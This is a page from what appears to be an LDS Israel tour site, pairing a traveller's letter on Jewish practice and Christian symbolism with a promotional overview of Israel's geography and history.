The experience (especially, thanks to help from our LDS Jewish guide) helped me better appreciate the need to care more about the nature and destiny of the Jews . . . I have a feeling that our role must be a continual learning role–to know where they are coming from. There is a need to build bridges. What the Jews had lost for more than two millennia were: 1) prophets and the spirit of prophecy; 2) the active Levitical order and their own high priest to function in the temple; 3) a temple; 4) a kingdom–a powerful nation (which they are now regaining); and 5) land (which has now been rectified–with people speaking 120 different languages returning to Israel).

“They have the forms without the spirit”

Perhaps the most impressive lesson I learned about the Jews (and here I am talking about the Orthodox Jews–about 85% of the Jews in Israel are irreligious) is, that they have the forms without the spirit, just as did the Pharisees in the time of Jesus. I finally understood what the Savior meant when he condemned the practice of Pharisees praying to be (seen) of men: the orthodox Jews at the Wailing Wall were moving their upper bodies up and down as they prayed, they also had their prayer books in their hands. It was evident at a long distance that they were praying . . .

The orthodox Jews enforce strict requirements on each other. On the road to Jericho there is a prominent sign that says Levites should not go further . . . because . . . of coming too close to a cemetery (and thus polluting themselves). The sign shows the long detour the Levites are obligated to take to avoid this possible contamination. With some help from Daniel Rona, we finally saw new dimensions in the Savior’s parable of the Good Samaritan. The priest and the Levite went to the other side of the road because they thought the wounded Samaritan was dead–and they didn’t want to be polluted by coming close to him. Thus, they let their fastidious (and falsely understood) adherence to strict rules keep them from helping a fellow being. (As Paul says in 2 Corinthians, “the letter killeth, but the spirit giveth life.”)

Daniel Rona also explained that the Urim and Thummim– which Joseph Smith said were of triangular shape—(could mean) “yes” and “no” (or “thumbs up” and “thumbs down”). Thus, they would have been represented by a triangle and an inverse triangle: ▲ ▼. When put together, they form the Star of David: . The significance of this is made clear when one considers the prophetic powers of the earlier David. As I meditated upon this new information, I thought of how the Star of David has lost its inner meaning to the present-day Jew: prophecy has gone from the Jews (but not permanently).

One other insight our guide shared has caused me subsequent deep thought. Brother Rona pointed out that the chief cornerstone which Christ represented was most logically the top of a pyramid. (Acts 4:11: “This is the stone which was set at nought of you builders, which is become the head of the corner.”) Then he pointed out the symbol of the pyramid on the dollar bill, and I quickly commented that the rejected chief cornerstone was also “the all-seeing eye” (i.e, the Lord). While this symbol undoubtedly was suggested by the Freemasons among our country’s founders, it contains some elements that could be attractive to Latter-day Saints. For example, as Hugh Nibley points out in his book, The Joseph Smith Papyri: An Egyptian Endowment, the pyramid anciently was thought of as a holy mountain–in other words, as a temple. In the symbol on the dollar bill, the power of the Lord can be seen as the apex of that temple.

King Zachariahs Tomb Israel
King Zachariah’s Tomb, Israel

So, what is the application to the relationship between Jesus Christ and the Jews? References in the Topical Guide to “Cornerstone” point to Jesus Christ (Jehovah) as “the Rock of his salvation” (Deut. 32:15). Zechariah 10:4 says, “Out of him came forth the corner [i.e., says our footnote, the cornerstone]”. What is fascinating to me (one of the things I discovered as I meditated about all this) is that the top of the tomb of king Zachariah . . . is a pyramid.

Now if we look again at the image of the dollar bill, we see that that lower part is like pyramids found in Central America. And what is now missing from them? There was a temple on top. In other words, the chief cornerstone not only completed the temple, but in effect it was the essence of the temple, containing its power, being the culmination, and containing the mountaintop element that is symbolic of temples (the meeting point between heaven and earth). We are reminded that Christ spoke of himself as a temple (John 2:19) (and indeed, “the house of the Lord” can have multiple meanings, one of which is the Savior himself–see also Rev. 21:22). So in Christ being rejected and taken into heaven (Moses 7:53: “I am Messiah . . . the Rock of Heaven”), the Jews lost the temple–and lost their connecting point between man and God.

“Jews will again have a temple in which the spirit of the Lord dwells”

The satisfying knowledge that a Latter-day Saint has, is that the head cornerstone will return, that the Jews will again have a temple in which the spirit of the Lord dwells, It is up to Joseph, though, to be an instrument in saving his brother Judah, just as Joseph of old–mistreated by his brothers and sent into Egypt–was a means of saving Judah and the rest of his family, In the repeating patterns of the Restoration, it would be appropriate for Joseph (especially the LDS church led by Ephraimites) to save Judah and then for Judah finally to recognize the identity of his brother. Eventually, in the Millennium, the law (i.e., doctrines and teachings) will go forth from (new) Zion . . . and the word of the Lord will go forth from Jerusalem (Isaiah 2:3). In both places, people will go to “the mountain of the Lord’s house” (Isa. 2:2, the temple).

Finally, though, Jerusalem will have a prophet again–speaking the word of the Lord. Then the Star of David will once more have real meaning (seership) and the essential forms found in Judaism (with the extraneous ones cast away) will be infused with spirit so as to become meaningful.

So, now you know some of the thoughts that have been stimulated by that wonderful trip to Israel. I know it is the Holy Land. I see it blossoming like a rose (an amazing thing to me), and I know that eventually the light that is Christ will bring great spiritual power back to that land.

You can see in the latest Ensigns the beautiful and interesting sights we saw in Israel. Wish you could have been there with us.

Dilworth Rust Signature
(Dilworth Rust)

P.S. You might pass this letter on to David and Eleanor. I wish they could have been with us, too.

Remember your dream of walking in the footsteps of the Savior?

lds israel tours

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Flat, Dry & Dangerous? Israel, Israel, God is Calling! https://www.israelrevealed.com/flat-dry-dangerous-israel-israel-god-is-calling/ https://www.israelrevealed.com/flat-dry-dangerous-israel-israel-god-is-calling/#respond Wed, 22 Feb 2017 19:58:51 +0000 https://www.israelrevealed.com/?p=3027

Gethsemane and the Temple Mount Israel Israel God is Calling
Israel, Israel, God is Calling!

ISRAEL, the Holy Land, is a land of contrasts, a young nation, almost 70, going on to 5000-years old. The mountains rise nearly 10,000 feet above sea-level. We have two ski-lifts in Israel on Mount Hermon! Oh! Yes, size-wise, you can fit Israel eight times in Utah. Yet in Israel we experience twice the rainfall of Utah, (as much annual rain as London). And of course, it comes all-at-once, “forty days and forty nights!” Water? Think about it, our tiny Israel has the “Med,” the “Dead” and the “Red” seas, plus the Sea of Galilee!

More contrasts?

Israel is built on an ancient inheritance. Great events were caused by humble prophets, and men wanting to be great were caused to be humble. Yet, out of the Bible have come many interpretations and religious traditions that compete for attention. Where are you in all this? Look, listen and feel, you’ll find a “Spiritual Oasis in the Holy Land.”

Discovering truths in the Holy Land, five considerations should be:

  • Your LDS guide in Israel
  • Archaeology
  • Written historical accounts
  • Traditions-including names and places
  • And most important, the feeling-the spirit that touches your heart

You’ll see, the joy of the Holy Land is in the feeling that comes from remembering the events that took place here in the very places, the land where these events took place.

Anciently, this land was chosen by God to establish the true worship of God. A religion and culture developed that would be spread to the surrounding lands and peoples, and thus Israel became the spiritual and temporal Crossroads of the East. It is remarkable that such a little land had such a great effect on history. For Mormons, a delightful contrast, (chiasmus) unfolds:

In ancient days,
In the Crossroads of the East,
There were living prophets,
And, people came in from surrounding countries
To get the “Word.”

(The contrast):

The “Word” is
Sent throughout the world,
By living prophets,
From the Crossroads of the West,
In Latter-days.

Because Israel is a crossroad, past conquerors have included (alphabetically), Arabs, Assyrians, Babylonians, British, Canaanites, Crusaders, Egyptians, French, Greeks, Hyksos, Hittites, Israelites, Jebusites, Mamelukes, Meads, Persians, Philistines, Romans, Syrians and Turks. Yet, the people continuing to live in this land are the remaining Israelites – the Jews and the Arabs.

Sea of Galilee Israel Israel God is Calling
The Sea of Galilee is Calling!

Israel is a good land, where Jews, Moslems and Christians raise their families. A feeling of peace and youthful growth exists even though its history is almost as old as civilization. The country itself is about 65 miles wide and 200 miles long. There’s no gold or silver here to make the land worth conquering. Even the late Golda Meir chided Moses, “He traveled the wilderness for 40 years and then settled the one spot that had no oil!”

Ah!, it is a land of travelers — from the Fertile Crescent at the north to the Fertile Egyptian Nile delta at the south, there’s beauty, feeling and a personal invitation, “Family! from the Crossroads of the West, Come to the Crossroads of the East.”

Israel, Israel, God is Calling!

Remember your dream of walking in the footsteps of the Savior?

lds israel tours

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